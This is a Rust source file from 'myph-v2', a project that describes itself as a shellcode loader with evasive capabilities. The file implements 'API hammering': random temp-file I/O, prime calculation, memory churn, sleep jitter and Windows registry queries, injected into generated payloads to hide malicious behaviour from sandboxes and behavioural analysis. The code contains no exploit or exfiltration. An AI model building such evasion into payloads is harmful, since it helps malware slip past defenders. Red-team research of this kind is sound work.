myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
api_hammering.rs (5113B)
1 //! API Hammering - Evasion technique to defeat behavioral analysis 2 //! 3 //! This module implements API hammering, an anti-analysis technique that adds 4 //! random CPU-intensive and I/O operations between API calls to evade sandbox 5 //! detection and behavioral analysis engines. 6 //! 7 //! # Techniques Used 8 //! 9 //! - **Random File I/O**: Creates, writes, reads, and deletes temporary files 10 //! with random names and extensions to generate I/O noise 11 //! - **CPU-Intensive Operations**: Calculates prime numbers to consume CPU 12 //! cycles and add timing variations 13 //! 14 //! # Usage 15 //! 16 //! These functions are injected into the generated payload code when the 17 //! `--with-api-hammering` flag is enabled. They are called between critical 18 //! API operations to mask the actual malicious behavior. 19 20 use rand::{thread_rng, Rng}; 21 use std::fs::{remove_file, File}; 22 use std::io::{self, Read, Write}; 23 24 pub fn write_random_files(num: usize) -> io::Result<()> { 25 let dir = std::env::temp_dir(); 26 27 for _ in 0..num { 28 let mut rng = thread_rng(); 29 let random_suffix: u32 = rng.gen(); 30 let extensions = [".log", ".bitmap", ".txt"]; 31 let extension = extensions[rng.gen_range(0..extensions.len())]; 32 let file_name = format!("{:x}{}", random_suffix, extension); 33 let path = dir.as_path().join(&file_name); 34 35 let size = 0xFFFFF; 36 37 let mut file = File::create(&path)?; 38 let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect(); 39 file.write_all(&data)?; 40 41 let mut file = File::open(&path)?; 42 let mut buffer = vec![0; size]; 43 file.read_exact(&mut buffer)?; 44 45 remove_file(path)?; 46 } 47 48 Ok(()) 49 } 50 51 #[no_mangle] 52 #[inline(never)] 53 pub fn calc_primes(iterations: usize) { 54 let mut prime = 2; 55 let mut i = 0; 56 while i < iterations { 57 if (2..prime).all(|j| prime % j != 0) { 58 i += 1; 59 } 60 prime += 1; 61 } 62 } 63 64 pub fn allocate_random_memory(num_allocs: usize) { 65 let mut allocations = Vec::new(); 66 let mut rng = thread_rng(); 67 68 for _ in 0..num_allocs { 69 let size = 1024 + rng.gen_range(0..8192); 70 let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect(); 71 allocations.push(data); 72 } 73 } 74 75 pub fn transform_strings(iterations: usize) { 76 let mut rng = thread_rng(); 77 78 for _ in 0..iterations { 79 let len = rng.gen_range(5..15); 80 let s: String = (0..len) 81 .map(|_| { 82 let idx = rng.gen_range(0..26); 83 (b'a' + idx) as char 84 }) 85 .collect(); 86 let _uppercase = s.to_uppercase(); 87 let _lowercase = s.to_lowercase(); 88 let _repeated = s.repeat(3); 89 let _reversed: String = s.chars().rev().collect(); 90 } 91 } 92 93 pub fn sleep_random_jitter(max_millis: u64) { 94 let mut rng = thread_rng(); 95 let jitter = rng.gen_range(0..max_millis); 96 std::thread::sleep(std::time::Duration::from_millis(jitter)); 97 } 98 99 #[cfg(windows)] 100 pub fn query_registry_keys(num_queries: usize) -> io::Result<()> { 101 use std::process::Command; 102 103 let keys = [ 104 r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", 105 r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion", 106 r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", 107 r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", 108 r"HKEY_CURRENT_USER\Environment", 109 r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services", 110 r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes", 111 r"HKEY_CURRENT_USER\Software\Classes", 112 r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System", 113 r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall", 114 ]; 115 let mut rng = thread_rng(); 116 117 for _ in 0..num_queries { 118 let key = keys[rng.gen_range(0..keys.len())]; 119 let _ = Command::new("reg").args(&["query", key]).output(); 120 } 121 122 Ok(()) 123 } 124 125 #[cfg(not(windows))] 126 pub fn query_registry_keys(_num_queries: usize) -> io::Result<()> { 127 Ok(()) 128 } 129 130 #[cfg(test)] 131 mod tests { 132 use super::*; 133 134 #[test] 135 fn test_calc_primes_completes() { 136 calc_primes(5); 137 } 138 139 #[test] 140 fn test_write_random_files_succeeds() { 141 let result = write_random_files(1); 142 if let Err(e) = &result { 143 eprintln!("Error: {:?}", e); 144 } 145 assert!(result.is_ok()); 146 } 147 148 #[test] 149 fn test_write_random_files_creates_and_removes() { 150 let result = write_random_files(1); 151 if let Err(e) = &result { 152 eprintln!("Error during write_random_files: {:?}", e); 153 } 154 assert!(result.is_ok(), "write_random_files should succeed"); 155 } 156 157 #[test] 158 fn test_allocate_random_memory_completes() { 159 allocate_random_memory(5); 160 } 161 162 #[test] 163 fn test_transform_strings_completes() { 164 transform_strings(10); 165 } 166 167 #[test] 168 fn test_sleep_random_jitter_completes() { 169 sleep_random_jitter(5); 170 } 171 172 #[test] 173 fn test_query_registry_keys_succeeds() { 174 let result = query_registry_keys(1); 175 assert!(result.is_ok()); 176 } 177 }